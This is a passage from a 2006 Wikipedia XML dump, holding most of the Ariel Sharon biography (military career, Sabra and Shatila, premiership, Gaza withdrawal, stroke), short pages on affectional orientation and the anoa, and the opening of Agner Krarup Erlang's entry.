:''I was summoned to see [[David Ben-Gurion|Ben-Gurion]]. It was the first time I met him, and right from the start Ben-Gurion said to me: &quot;Let me first tell you one thing: it doesn't matter what the world says about Israel, it doesn't matter what they say about us anywhere else. The only thing that matters is that we can exist here on the land of our forefathers. And unless we show the Arabs that there is a high price to pay for murdering Jews, we won't survive.&quot;''

Shortly afterwards, just a few months after its founding, Unit 101 was merged into the 202nd [[Paratroopers Brigade]] (Sharon eventually became the latter's commander), which continued to attack military and civilian targets, culminating with the attack on [[Qalqilyah]] police station in autumn 1956.

Sharon has been [[widow]]ed twice. Shortly after becoming a [[Drill instructor|military instructor]], he married his first wife, [[Margalit Sharon|Margalit]], with whom he had a son, Gur.  Margalit died in a [[car accident]] in 1962. Their son, Gur, died in October 1967 after a friend shot him while they were playing with the elder Sharon's [[rifle]]. [http://www.smh.com.au/news/Middle-East-Conflict/Sharon-mourns-slain-son/2005/02/14/1108229937965.html] [http://www.guardian.co.uk/israel/Story/0,2763,589127,00.html] [http://edition.cnn.com/TRANSCRIPTS/0306/14/pitn.00.html] After Margalith's death, Sharon married her younger sister, [[Lily Sharon|Lily]]. They had two sons, [[Omri Sharon|Omri]] and [[Gilad Sharon|Gil'ad]]. Lily Sharon died in 2000.

==Mitla incident==
In the [[1956 Suez War]] (the British &quot;[[Operation Musketeer]]&quot;), Sharon commanded the 202nd Brigade and was responsible for taking ground east of the [[Sinai Peninsula|Sinai]]'s [[Mitla Pass]] and eventually taking the pass itself. Having successfully carried out the first part of his mission (joining a battalion paratrooped near Mitla with the rest of the brigade moving on ground), Sharon's unit was deployed near the pass. Neither [[reconnaissance aircraft]] nor [[Reconnaissance|scouts]] reported enemy forces inside the Mitla Pass. Sharon, whose forces were initially heading east, away from the pass, reported to his superiors that he was increasingly concerned with the possibility of an enemy thrust through the pass, which could attack his brigade from the flank or the rear.

Sharon asked for permission to attack the pass several times but his requests were denied although he was allowed to check its status so that if the pass was empty, he could receive permission to take it later. Sharon sent a small scout force which was met with heavy fire and became bogged down due to vehicle [[malfunction]] in the middle of the pass. Sharon ordered the rest of his troops to attack in order to aid their comrades. In the ensuing successful battle to capture the pass thirty-eight Israeli soldiers were killed. Sharon was not only criticized by his superiors, he was damaged by revelations several years later by several former subordinates (one of IDF's first major revelations to the press), who claimed that Sharon tried to provoke the [[Egypt]]ians and sent out the scouts in bad faith, ensuring that a battle would ensue. Deliberate or not, the attack was considered strategically reckless because the Egyptian forces were expected to withdraw from the pass in the following one or two days.

==Six-Day War and Yom Kippur War==
{{main articles|[[Six-Day War]] and [[Yom Kippur War]]}}
The Mitla incident hindered Sharon's military career for several years. In the meantime, he occupied the position of an infantry brigade commander and received a [[law degree]] from [[Tel Aviv University]]. When [[Yitzhak Rabin]] (who within a few years became associated with the [[Labour (Israel)|Labour Party]]) became [[Chief of Staff]] in 1962, however, Sharon began again to rise rapidly in the ranks, occupying the positions of Infantry School Commander and Head of Army Training Branch, eventually achieving the rank of [[Major General]] (''[[Aluf]]''). In the 1967 [[Six-Day War]], Sharon commanded the most powerful armored division on the Sinai [[Front (military)|front]] which made a breakthrough in the Kusseima-Abu-Ageila fortified area. In 1969, he was appointed the Head of IDF's Southern Command. He had no further promotions before retiring in August 1973. Soon after, he joined the right-wing Likud [[political party]].[http://www.bbc.co.uk/bbcfour/documentaries/storyville/ariel-sharon.shtml] 

[[Image:Arik_Sharon_with_Bandage_Dayan.jpg|right|thumb|22
30px|Sharon (in bandage) with [[Moshe Dayan]] (right) in 1973]]

Sharon' s military career was not over, however. At the start of the [[Yom Kippur War]] on [[October 6]] [[1973]], Sharon was called back to duty and assigned to command a reserve armored division. His forces did not engage the [[Egyptian Army]] immediately but it was Sharon who helped locate a breach between the Egyptian forces, which he then exploited by capturing a [[bridgehead]] on [[October 16]] and throwing a bridge across the [[Suez Canal]] the following day. He violated his orders from the head of Southern Command by exploiting this success to cut the [[supply line]]s of the Egyptian Third Army, located to the south of the canal crossing, isolating it from other Egyptian units.

The divisions of Sharon and [[Abraham Adan|Abraham Adan]] (Bren) passed over this bridge into [[Africa]] advancing to within 101 kilometers of [[Cairo]]. They wreaked havoc on the supply lines of the Third Army stretching to the south of them, cutting off and [[Encirclement|encircling]] the Third Army, but could not force its surrender before the [[cease-fire]]. Tensions between the two generals followed his decision, but a [[military tribunal]] later found his action was militarily effective. This move was regarded by many Israelis as the turning point of the war in the Sinai front. Thus, Sharon is viewed by some as a [[war hero]] who saved Israel from defeat in Sinai. A photo of Sharon wearing a head bandage on the Suez Canal became a famous symbol of Israeli military prowess.

Sharon's aggressive political positions were controversial and he was relieved of duty in February 1974.

==Sabra and Shatila massacre==
{{main|Sabra and Shatila massacre}}
During the [[1982 Lebanon War]], while Ariel Sharon was [[Defense minister]], the [[Sabra and Shatila massacre]] took place, in which between 460 and 3,500 Palestinian civilians in the [[refugee camp]]s were killed by Lebanese Christian forces under the command of Lebanese [[Maronite]] [[Phalange]] [[militia]]. The Security Chief of the Phalange militia, [[Elie Hobeika]], was the ground commander of the militiamen who entered the Palestinian camps and killed the Palestinians. The Phalange had been sent into the camps to clear out [[PLO]] fighters, and Israeli forces had been sent to the camps at Sharon's command to provide them with [[logistical]] support and to guard camp exits.

The [[Kahan Commission]] claimed that &quot;absolutely no direct responsibility devolves upon Israel or upon those who acted in its behalf.&quot; Yet it did charge Sharon with &quot;personal responsibility.&quot; It recommended in early 1983 the removal of Sharon from his post as Defense minister. In their recommendations and closing remarks, the commission stated:

:''We have found, as has been detailed in this report, that the Minister of Defense [Ariel Sharon] bears personal responsibility. In our opinion, it is fitting that the Minister of Defense draw the appropriate personal conclusions arising out of the defects revealed with regard to the manner in which he discharged the duties of his office - and if necessary, that the [[Prime Minister]] consider whether he should exercise his authority under Section 21-A(a) of the Basic Law: the Government, according to which &quot;the Prime Minister may, after informing the Cabinet of his intention to do so, remove a minister from office.&quot;''[http://www.mfa.gov.il/MFA/Foreign%20Relations/Israels%20Foreign%20Relations%20since%201947/1982-1984/104%20Report%20of%20the%20Commission%20of%20Inquiry%20into%20the%20e]

Nevertheless the [[Kahan Commission]] did not interview Palestinian survivors of the massacre.

Journalist [[Robert Fisk]], based on some eyewitness accounts and his own investigation, alleged that Sharon and the IDF bore a greater responsibility for the massacre, describing Sharon's efforts to stop the massacre as &quot;pitiful&quot; and &quot;inadequate&quot;.

An AP report on [[15 September]] [[1982]] stated : 

:''Defence Minister Ariel Sharon, in a statement, tied the killing [of the Phalangist leader Gemayel] to the PLO, saying: &quot;It symbolises the terrorist murderousness of the PLO terrorist organisations and their supporters.&quot;  Habib Chartouni, a Lebanese Christian from the Syrian Socialist National Party confessed to the murder of Gemayel, and no Palestinians were involved. Sharon had used this to instigate the entrance of the Lebanese militias into the camps.''[http://news.independent.co.uk/world/fisk/article336785.ece]

Sharon was dismissed by Prime Minister [[Menachem Begin]] but he remained in successive governments as a Minister.

In 1987, [[Time Magazine|''TIME'' magazine]] published a story implying Sharon was directly responsible for the massacres. Sharon [[Lawsuit|sued]] ''Time'' for [[Slander and libel|libel]] in American and Israeli [[court]]s. ''Time'' won the suit in the U.S. court because although the [[jury]] found the article false and defamatory, Sharon could not establish that ''Time'' had &quot;acted out of malice,&quot; as required under the U.S. law. [http://www.camera.org/index.asp?x_context=10&amp;x_subject=3]

On [[June 18]], [[2001]], relatives of the victims of the Sabra massacre began proceedings in [[Belgium]] to have Ariel Sharon indicted on war crimes charges [http://www.caabu.org/campaigns/complaint-against-sharon.html]. In June 2002, a [[Brussels]] Appeals Court rejected the lawsuit because the law was subsequently changed under heavy U.S. pressure to disallow such lawsuits unless a Belgian citizen is involved. [http://www.droit.fundp.ac.be/cours/pen/JC032C1.pdf]

==Political career==
When Sharon joined Begin's government he had relatively little political experience. He avoided Begin's [[Herut]] party in the 1940s and 1950s and seemed to be personally devoted to the ideals of [[Mapai]], and then Labor. However, after retiring from military service, Sharon was instrumental in establishing the [[Likud]] in July 1973. The [[Likud]] was comprised of [[Herut]], the [[Israel Liberal Party|Liberal Party]] and independent elements. Sharon became chairman of the campaign staff for the elections which were scheduled for November 1973. But two and a half weeks after the start of the election campaign, the [[Yom Kippur War]] erupted and Sharon was called back to reserve service (''see above''). In December 1973 Sharon was elected to the [[Knesset]], but a year later he tired of political life and resigned.

From June 1975 to March 1976, Sharon was a special aide to Prime Minister [[Yitzhak Rabin]]. With the 1977 elections near, Sharon tried to return to the Likud and replace [[Menachem Begin]] at the head of the party. He suggested to [[Simcha Ehrlich]], who headed the Liberal Party bloc in the Likud, that he was more fitting than Begin to win an election victory; but he was rejected. Following this he tried to join the [[Israel Labor Party|Labour Party]] and the centrist [[Shinui|DASH]], but was rejected in those parties too. Only then did he form his own list, [[Shlomtzion Party|Shlomtzion]], which won only two Knesset seats in the subsequent elections. Immediately after the elections he merged Shlomtzion with the Likud and became Minister of Agriculture.

During this period, Sharon supported the [[Gush Emunim]] settlements movement and was viewed as the patron of the messianic settlers' movement. He used his position to encourage the establishment of a network of Israeli settlements in the occupied territories to prevent the possibility of the return of these territories to Palestinian Arabs. Sharon doubled the number of Jewish settlements on the West Bank and Gaza Strip during his tenure.

On his settlement policy, Sharon said while addressing a meeting of the Tsomet Party: &quot;Everybody has to move, run and grab as many (Palestinian) hilltops as they can to enlarge the (Jewish) settlements because everything we take now will stay ours... Everything we don't grab will go to them.&quot; (Agence France Presse, [[15 November]] [[1998]].)

After the 1981 elections, Begin rewarded Sharon for his important contribution to Likud's narrow win, by appointing him Minister of Defense. (''See above for further information about Sharon's tenure as Minister of Defense.'')

After being dismissed from the Defense Minister post because the Kahan Commission found him &quot;personally responsible&quot; for his &quot;disregard of the danger of a massacre,&quot; Sharon remained in successive governments as a Minister without portfolio (1983&amp;ndash;1984), Minister for Trade and Industry (1984&amp;ndash;1990), and Minister for Housing Construction (1990&amp;ndash;1992). During this period he was a rival to then prime minister [[Yitzhak Shamir]], but failed in various bids to replace him as chairman of the ruling [[Likud]] party. Their rivalry reached a head on the &quot;Night of Microphones&quot; in February 1990, when Sharon snapped the microphone from Shamir, who was addressing the Likud central committee, and famously exclaimed: &quot;Who's for wiping out terrorism?&quot;. The implication was that only Sharon knew how to destroy the scourge and whoever deemed this as important should support him. The incident was widely viewed as an apparent [[putsch]] attempt against Shamir's leadership of the party.

==Prime Minister==

In [[Benjamin Netanyahu]]'s 1996&amp;ndash;1999 government, he was Minister of National Infrastructure (1996&amp;ndash;1998), and Foreign Minister (1998&amp;ndash;1999). Upon the election of the [[Ehud Barak|Barak]] Labor government, Sharon became leader of the Likud party. After the collapse of Barak's government, he was elected Prime Minister in February 2001.

[[The Greek island affair]] involves attempts by [[David Appel]] to purchase an island near the coast of [[Athens]] for the purpose of building a multimillion-dollar resort complex.
While Ariel Sharon was [[Foreign Minister]] under Prime Minister Benjamin Netanyahu in 1999, Appel contracted to pay his Sharon's son, [[Gilad Sharon|Gilad]], then 30 years old and a business novice, $20,000 monthly as a business consultant. According to reports, Gilad might have received up to $3 million had the project been successful.
Police believe Appel signed the contract with Gilad Sharon in order to secure his father's help in facilitating the resort project. Sharon later hosted the deputy foreign minister of [[Greece]] during his visit to Israel. Appel is widely suspected of bribing [[Ehud Olmert]], the former mayor of [[Jerusalem]] into helping him by funding an official banquet held for the Athenian mayor. 
In return for the aid received from both Likud leaders, Appel allegedly contributed to the campaigns of both men when they ran for chairman of the Likud after Netanyahu's resignation in 1999. On [[June 14]] [[2004]], Israel's Attorney General, [[Meni Mazouz]], decided to close the case due to lack of evidence and prosecutorial misconduct.

[[Image:Red Sea Summit in Aqaba.jpg|thumb|right|[[Palestinian]] Prime Minister [[Mahmoud Abbas]], [[United States]] President [[George W. Bush]], and Ariel Sharon after reading statement to the press during the closing moments of the Red Sea Summit in [[Aqaba]], [[Jordan]], [[June 4]] [[2003]].]]

According to the Palestinians, Ariel Sharon has followed an aggressive policy of non-negotiation. Palestinians allege that the [[al-Aqsa Intifada]] (September 2000&amp;ndash;February 2005) was sparked by a visit by Sharon and an escort of several hundred policemen to the [[Haram al-Sharif]]/[[Temple Mount]] complex, site of the [[Dome of the Rock]] and [[al-Aqsa Mosque]]. Sharon's visit, prior to his election as Prime Minister, came after archeologists claimed that extensive building operations at the site were destroying priceless antiquities and a few months before the election. While visiting the site, Sharon declared that the complex would remain under perpetual Israeli control. Palestinian commentators accused Sharon of purposely inflaming emotions with the event to provoke a violent response and obstruct success of delicate ongoing peace talks.

Sharon's supporters claim that [[Yasser Arafat]] and the [[Palestinian Authority]] planned the intifada. [http://www.mafhoum.com/press3/111P55.htm] [http://www.townhall.com/columnists/charleskrauthammer/ck20010520.shtml] [http://www.jewishvirtuallibrary.org/jsource/myths/mf19.html#a1] [http://www.eretzyisroel.org/~jkatz/alaksa.html]. They state that Palestinian security chief Jabril Rajoub provided assurances that if Sharon did not enter the mosques, no problems would arise. They also often quote statements by Palestinian Authority officials, particularly Imad Falouji, the P.A. Communications Minister, who admitted months after Sharon's visit that the violence had been planned in July, far in advance of Sharon's visit, stating the intifada &quot;was carefully planned since the return of (Palestinian President) Yasser Arafat from [[Camp David]] negotiations rejecting the U.S. conditions.&quot;[http://gulf-news.com/Articles/print.asp?ArticleID=11166][http://jewishweek.org/news/newscontent.php3?artid=3846] According to the Mitchell Report, the government of Israel asserted that
[[Image:sharon_bush_abbas.jpg|thumb|left|President [[George W. Bush]], center, discusses the [[Peace process in the Israeli-Palestinian conflict|Middle East peace process]] with Prime Minister Ariel Sharon of Israel, left, and Palestinian Prime Minister [[Mahmoud Abbas]] in [[Aqaba]], [[Jordan]], [[June 4]], [[2003]].]]
:''the immediate catalyst for the violence was the breakdown of the Camp David negotiations on [[25 July]] [[2000]] and the &amp;#8220;widespread appreciation in the international community of Palestinian responsibility for the impasse.&amp;#8221; In this view, Palestinian violence was planned by the PA leadership, and was aimed at &amp;#8220;provoking and incurring Palestinian casualties as a means of regaining the diplomatic initiative.&amp;#8221;''
The Mitchell Report, based on a subsequent investigation, also found that the Sharon visit did not cause the Al-Aqsa Intifada, though it was poorly timed and would clearly have a provocative effect.[http://www.jewishvirtuallibrary.org/jsource/Peace/Mitchellrep.html]

Palestinians doubt the existence of popular support for Sharon's actions. Polls published in the media, as well as the 140% call-up of reservists (as opposed to the 60% in regular periods) seem to indicate that the Israeli public is quite supportive of Sharon's policies. A survey conducted by Tel Aviv University's Jaffe Center in May 2004 found that 80% of Jewish Israelis believe that the Israel Defense Forces have succeeded in militarily countering the Al-Aqsa Intifada, [http://spirit.tau.ac.il/socant/peace/peaceindex/2004/data/may2004d.pdf] indicating widespread faith in Sharon's hard-line policy.

[[Image:Bush sharon.jpg|thumb|President Bush and Prime Minister Sharon meet in the White House on [[14 April]] [[2004]].]]

On [[July 20]] [[2004]], Sharon called on [[France|French]] [[Jew]]s to emigrate from France to Israel immediately, in light of an increase in French [[anti-Semitism]] (94 anti-Semitic assaults reported in the first six months of 2004 compared to 47 in 2003). France has the third largest Jewish population (about 600,000 people), after the [[United States]] and [[Israel]]. Sharon claimed that an &quot;unfettered anti-Semitism&quot; reigned in France. The French government responded by describing his comments as &quot;unacceptable&quot;, as did the French representative Jewish organization [[CRIF]], which denied Sharon's claim of intense anti-Semitism in French society. An Israeli spokesperson later claimed that Sharon had been misunderstood. France then postponed a visit by Sharon. Upon his visit, both Sharon and Chirac were described as showing a willingness to put the issue behind them.

On [[July 26]], [[2005]], Israeli attorney general [[Menachem Mazuz]] announced that he would indict Sharon's son, [[Omri Sharon|Omri]], on charges of [[political corruption|corruption]]. Omri had [[parliamentary immunity]] at the time, but indicated willingness to stand trial. The Knesset passed a law limiting members' immunity in order to allow the indictment and Omri was formally indicted on [[August 28]].

==Gaza evacuation==
While some believe that his recent efforts have been damaging to the peace process, he has embarked on a risky course of unilateral withdrawal from the [[Gaza Strip]], while maintaining control of its coastline and airspace. It has been welcomed by both the [[Palestinian Authority]] and the left-wing in Israel, as well as by many abroad, including the United States and the [[European Union]], as a step towards a final peace settlement. However, it has been greeted with opposition from within his own Likud party and from other right-wing Israelis, on security, military, and religious grounds. Other detractors have publicly distrusted Sharon's motives for this plan, and their suspicions were further roused after publication of an interview with top Sharon aide Dov Weisglass in the Israeli newspaper ''[[Haaretz]]'' on [[October 8]] [[2004]], in which he explained Israel's motivation for withdrawing from Gaza. He told the newspaper that both Israel and the US felt Palestinian terrorism must end before a political process leading to a Palestinian state begins. Otherwise, Weisglass said, &quot;the result would be a Palestinian state with terrorism...&quot; The Gaza withdrawal would allow Israel to delay negotiations, and a Palestinian state, until such time that their leadership abandons violence. Critics interpreted Weisglass' comments as saying the purpose of disengagement was to destroy Palestinian aspirations for a state for years to come. This incident has bolstered the position of critics that Sharon is intentionally trying to destroy the peace process, an accusation denied by the Prime Minister's camp. {{further|[[Israel's unilateral disengagement plan of 2004]]}}

On [[December 1]] [[2004]], Sharon dismissed five ministers from the Shinui party for voting against the government's 2005 budget. In January 2005 Sharon formed a national unity government that included representatives of Likud, Labour, and [[Meimad]] and [[Degel HaTorah]] as &quot;out-of-government&quot; supporters without any seats in the government ([[Haredi Judaism|Haredi]] parties usually reject having ministerial offices as a policy). Between [[August 16]] and [[August 30]] [[2005]], Sharon controversially expelled 8,500 Jewish settlers from 21 settlements in Gaza. Once it became clear that the evictions were definitely going ahead a group of extreme right-wing Rabbis, led by Rabbi [[Yosef Dayan]] placed an ancient curse on him calling on the [[Angel of Death]] to intervene and kill him. After Israeli soldiers bulldozed every settlement structure except for several former [[synagogue]] buildings, Israeli soldiers formally left Gaza on Sunday, [[September 11]] [[2005]] and closed the border fence at [[Kissufim]]. The synagogues were later looted and burned to the ground by miscreants. While his decision to withdraw from Gaza sparked bitter protests from far-right members of the Likud party and the settler movement, opinion polls showed that it was a popular move among most of the Israeli electorate. On [[September 27]] [[2005]], Sharon narrowly defeated a leadership challenge by a 52-48% vote. The move was initiated within the central committee of the governing Likud party by his main rival, [[Binyamin Netanyahu]], who had left the cabinet to protest Sharon's withdrawal from Gaza. The measure was an attempt by Netanyahu to call an early primary in November 2005 to choose the party's leader.

==Founding of Kadima==
On [[November 21]] [[2005]], Sharon  resigned as head of Likud, and dissolved parliament to form a new centre-right party called ''[[Kadima]]'' (&quot;Forward&quot;).[http://seattlepi.nwsource.com/national/1107AP_Sharon_No_Return.html] November polls indicated that Sharon was likely to be returned to the prime ministership.[http://www.guardian.co.uk/worldlatest/story/0,1280,-5431649,00.html]  On [[December 20]] [[2005]], Sharon's longtime rival [[Binyamin Netanyahu]] was elected his successor as leader of Likud [http://www.guardian.co.uk/israel/Story/0,2763,1671030,00.html]. Netanyahu, along with [[Labour (Israel)|Labor]]'s [[Amir Peretz]], are to be ''Kadima'''s chief rivals in the [[Israel legislative election, 2006|March 2006 elections]].

==Incapacitation==
{{Current section}}
{{main|Illnesses of Ariel Sharon}}

Sharon was hospitalised on [[December 18]] [[2005]] after reportedly suffering a minor [[ischemic stroke]]. Sharon spent four days in hospital, and was released on [[December 20]]. During his hospital stay, he was also diagnosed with a minor hole in his heart and was scheduled to undergo a [[cardiac catheterization]] to fill the hole in his [[atrial septum]] on [[January 5]], [[2006]].

On [[January 4]], however, Sharon suffered a massive [[hemorrhagic stroke]] and was evacuated by ambulance from his ranch, [[Havat Hashikmim]] in the [[Negev|Negev region]] to [[Hadassah Ein Kerem hospital|Hadassah hospital]], [[Jerusalem]], to undergo [[brain surgery]]. Although Sharon was reported to be in stable condition, his doctors called this stroke &quot;significant&quot;, adding that he &quot;suffered a [[cerebral hemorrhage]],&quot; which is bleeding in the brain. Sharon underwent seven hours of surgery to stop the bleeding and drain the accumulated blood. Hadassah director Professor [[Shlomo Mor-Yosef]] reported after the surgery that the bleeding had stopped: &quot;all the parameters are according to expectations after an operation of this type.&quot; The doctors estimated his chances for recovery as being &quot;very low.&quot;  

Earlier in the day, members of the media incorrectly reported that Sharon had died, after doctors at the hospital were prepared to announce his death. However, they were convinced by family and advisors to try, once again, to save his life. 

On the night of Sharon's stroke, in the wake of his serious illness, and following consultations between Government Secretary [[Israel Maimon]] and Attorney General [[Meni Mazouz]], Sharon was declared &quot;temporarily incapable of discharging his powers&quot;, and [[Ehud Olmert]], the Deputy Prime Minister, was officially confirmed as the Acting Prime Minister of Israel. Olmert and the Cabinet announced that the [[Israel legislative election, 2006|elections]] would take place on [[March 28]] as scheduled. According to Israeli law, an Acting Prime Minister can remain in office 100 days after Prime Minister has become  incapacitated before the President has to appoint a new Prime Minister. Sharon has not yet been declared permanently incapacitated.

During the rest of January, Sharon's condition remained essentially unchanged. On [[February 11]], he underwent an operation to investigate damage to his digestive tract. It was found that he was suffering from [[intestine|intestinal]] bleeding and life-threatening [[necrosis]], and about 50 cm of his intestines were consequently removed. On [[February 22]], he underwent an additional procedure to drain excess fluid from his stomach, discovered during a routine [[computed tomography|CT]] scan.

On [[February 2]], Sharon's Kadima party issued its ticket for the March elections to the Knesset. Since Sharon was unable to sign a nomination form, he is not a candidate and will thus cease to be a Knesset member in March. This means that even if his medical condition improves, he will be unable to continue his current tenure as Prime Minister.

&lt;!-- please write in the *past* tense, as otherwise your edit will have to be rewritten in less than 24 hours! --&gt;

==References==
* Ben Shaul, Moshe, Ed. ''Generals of Israel''. Tel-Aviv: Hadar Publishing House, Ltd., 1968.
* Council for Arab-British Understanding (2001). ''[http://www.caabu.org/campaigns/complaint-against-sharon.html The Complaint Against Ariel Sharon]''. Retrieved [[4 December]] [[2004]].
* International Campaign for Justice for the Victims of Sabra &amp; Shatila. ''[http://www.indictsharon.net/ IndictSharon.net]''
* [http://www.bbc.co.uk/bbcfour/documentaries/storyville/ariel-sharon.shtml Israel's Generals: Ariel Sharon] ([[17 June]] [[2004]]). ''BBC-4'' television series.
* Israel Ministry of Foreign Affairs (1983). ''[http://www.mfa.gov.il/MFA/Foreign%20Relations/Israels%20Foreign%20Relations%20since%201947/1982-1984/104%20Report%20of%20the%20Commission%20of%20Inquiry%20into%20the%20e Report of the Commission of Inquiry into the events at the refugee camps in Beirut - [[8 February]] [[1983]]]''. Retrieved [[4 December]] [[2004]].
* [http://www.droit.fundp.ac.be/cours/pen/JC032C1.pdf Ruling from the Belgian Court of Appeals] ([[12 February]] [[2003]]). Untranslated..
* Pity the Nation: Lebanon at War (3rd ed. 2001). London: Oxford University Press; 727 pages. ISBN 0192801309
* The Age. 'Sharon Assessment &quot;Months Off&quot;.' ''The Age''. http://www.heraldsun.news.com.au/common/story_page/0,5478,17792586%255E1702,00.html ([[11 January]] [[2006]])
*The Great War for Civilisation - The Conquest of the Middle East; (October 2005) London. Fourth Estate, 1168 pages. ISBN 184115007X

==See also==
*[[List of national leaders]]
*[[Ouze Merham]]

==External links==
{{sisterlinks}}
*[http://www.jewishvirtuallibrary.org/jsource/biography/sharon.html Ariel Sharon]
*[http://www.religionandspiritualityforum.com/view.php?StoryID=20060108-084104-8100r   Ariel Sharon: Return to the Temple Mount]
*[http://www.jewishvirtuallibrary.org/jsource/History/Sabra_&amp;_Shatila.html The Sabra and Shatila Massacres (16-[[18 September]] [[1982]])]
*[http://www.mfa.gov.il/MFA/Foreign%20Relations/Israels%20Foreign%20Relations%20since%201947/1982-1984/104%20Report%20of%20the%20Commission%20of%20Inquiry%20into%20the%20e Report of the Kahan Commission] - hosted by the Israeli Ministry of Foreign Affairs.
*[http://camera.org/index.asp?x_context=2&amp;x_outlet=118&amp;x_article=1054 Timeline of key events in Sharon's life]
*[http://marriage.about.com/od/politics/p/arielsharon.htm The Marriages of Ariel Sharon]
*{{citenews|url=http://www.nytimes.com/2006/01/08/weekinreview/08bennet.html|title=History Interrupted|date=[[January 8]], [[2006]]|org=The New York Times}}
*[http://www.counterpunch.org/sharon.html &quot;The Crimes of Ariel Sharon&quot;]
*[http://www.prominentpeople.co.za/people/61.php Prominent People - Sharon, Ariel &quot;Arik&quot;]
*[http://www.isracast.com/yk/stage.swf Phonecall] - An authentic recording of Ariel Sharon talking to a soldier positioned at one of the Suez Channel bunkers at the beginning of the Yom Kippur War.

{{start box}}
{{succession box|title=[[Defense Minister of Israel]]|before=[[Menachem Begin]]|after=[[Moshe Arens]]|years=1981-1983}}
{{succession box|title=[[Likud|Chairman of Likud]]|before=[[Benjamin Netanyahu]]|after=[[Benjamin Netanyahu]]|years=1999-2005}}
{{succession box|title=[[Prime Minister of Israel]]|before=[[Ehud Barak]]|after=Incumbent (Incapacitated)&lt;br&gt;&lt;small&gt;([[Ehud Olmert]] Acting Prime Minister from [[4 January]] [[2006]])&lt;/small&gt;|years=2001-present}}&lt;!--He is still in office until a new PM is appointed--&gt;
{{succession box|title=[[Kadima|Chairman of Kadima]]|before=None (founder)|after=[[Ehud Olmert]]&lt;br&gt;(acting)|years=2005-2006}}
{{end box}}

{{Persondata
|NAME=Sharon, Ariel
|ALTERNATIVE NAMES=Ariel Scheinermann, אריאל שרון
|SHORT DESCRIPTION=Israeli politician
|DATE OF BIRTH=[[1928-02-27]]
|PLACE OF BIRTH=Kfar Malal, Palestine
|DATE OF DEATH=
|PLACE OF DEATH=
}}

[[Category:1928 births|Sharon, Ariel]]
[[Category:Current national leaders|Sharon, Ariel]]
[[Category:Israeli generals|Sharon, Ariel]]
[[Category:Israeli party leaders|Sharon, Ariel]]
[[Category:Prime Ministers of Israel|Sharon, Ariel]]
[[Category:Living people|Sharon, Ariel]]

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[[fa:آریل شارون]]
[[fi:Ariel Sharon]]
[[fr:Ariel Sharon]]
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[[he:אריאל שרון]]
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[[ja:アリエル・シャロン]]
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[[ru:Шарон, Ариэль]]
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[[zh:阿里埃勒·沙龙]]</text>
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  </page>
  <page>
    <title>Affectional orientation</title>
    <id>2945</id>
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      <id>26502434</id>
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        <ip>70.181.73.179</ip>
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      <comment>Snipped a couple things</comment>
      <text xml:space="preserve">'''Affectional orientation''' is an alternative term for [[sexual orientation]]. Those people who prefer it argue that one's orientation goes far beyond [[human sexuality|sexuality]]. To holders of this view, one's orientation is defined by whom one is predisposed to fall [[limerence|in love]] with, sexual attraction being only a part of a larger dynamic.

The term is also used by those who consider themselves [[asexuality|asexual]] to describe the [[gender]] or genders they are romantically attracted to.  The terms used for different affectional orientations are typically the same as are used for [[sexual orientation]]s: [[homosexuality|homosexual]], [[bisexuality|bisexual]], and [[heterosexuality|heterosexual]].

There are also those who hold the view that their orientation is defined by who one has affection towards and that their sexual attraction is based on affection for another human being's personal qualities rather than their gender or appearance. This does not necessarily require either person to fall in love but is still based on a personal affection.

{{psych-stub}}
[[Category:Sexual orientation and identity]]
[[category:Non-sexuality]]</text>
    </revision>
  </page>
  <page>
    <title>Anoa</title>
    <id>2947</id>
    <revision>
      <id>38765899</id>
      <timestamp>2006-02-08T14:33:46Z</timestamp>
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      <minor />
      <comment>robot  Adding: lt</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Anoa
| status = {{StatusEndangered}}
| image = Lowland_Anoa_Drawing_historic.jpg
| image_width = 220px
| image_caption = Lowland Anoa
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[mammal|Mammalia]]
| ordo = [[Artiodactyla]]
| familia = [[Bovidae]]
| subfamilia = [[Bovinae]]
| genus = ''[[Bubalus]]''
| species = '''''B. quarlesi'''''&lt;br/&gt;'''''B. depressicornis'''''
| binomial = ''Bubalus quarlesi''
| binomial_authority = (Ouwens, 1910)
| binomial2 = ''Bubalus depressicornis''
| binomial2_authority = (H. Smith, 1827)
}}
There are two species of '''anoa''': the '''Mountain Anoa''' (''Bubalus quarlesi'') and the '''Lowland Anoa''' (''Bubalus depressicornis''). Both live in undisturbed forest, and although they are essentially miniature [[Water Buffalo]], are similar in appearance to a deer, weighing 150&amp;ndash;300&amp;nbsp;kg (330&amp;ndash;660&amp;nbsp;lb). 

Both are found on the island of [[Sulawesi]] in [[Indonesia]]; the Mountain Anoa is also found on the nearby island of [[Butung]]. They apparently live singly or in pairs, rather than herds, except when the cows are about to give birth. One young is born per year.
[[image:Lowland_Anoa.JPG|thumb|left|250px|A Lowland Anoa]]

Both species of anoa have been classified as endangered since the [[1960s]] and the population continues to decrease.  It is believed unlikely that there are more than 5000 animals of each species remaining.  Reasons for the decline of the anoa include hunting for hide, horns and meat by the indigenous peoples (though they were rarely hunted by indigenous peoples before the introduction of modern firearms); shooting by the military; and loss of habitat due to the advancement of settlement.  Currently, hunting is the more serious factor in most areas. The anoa do not appear to be adaptable to humans.

Mountain Anoa are also known as Anoa de Montana, Anoa de Quarle, Anoa des Montagnes, Anoa Pegunungan, and Quarle's Anoa. Lowland Anoa are also known as Anoa de Ilanura or Anoa des Plaines.

Lowland Anoa stands but little over a yard at the shoulder, and is the most diminutive of all wild cattle. It is nearly allied to the larger Asiatic buffaloes, showing the same reversal of the direction of the hair on the back. The horns are peculiar for their upright direction and comparative straightness, although they have the same triangular section as in other buffaloes. White spots are sometimes present below the eyes, and there may be white markings on the legs and back; and the absence or presence of these white markings may be indicative of distinct races. The horns of the cows are very small. The nearest allies of the anoa appear to be certain extinct buffaloes, of which the remains are found in the Siwalik Hills of northern India. In habits the animal appears to resemble the Indian buffalo. 

==References==
* {{1911}}

[[Category:Bovines]]

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[[nl:Anoa]]</text>
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  </page>
  <page>
    <title>Agner Krarup Erlang</title>
    <id>2948</id>
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        <id>43680</id>
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      <minor />
      <comment>/* External links */ changing MacTutor link to template</comment>
      <text xml:space="preserve">'''Agner Krarup Erlang''' ([[January 1]], [[1878]]&amp;ndash;[[February 3]], [[1929]]) was a [[Denmark|Danish]] [[mathematician]], [[statistician]], and [[engineer]] who invented the fields of [[traffic engineering (telecommunications)|traffic engineering]] and [[queueing theory]].

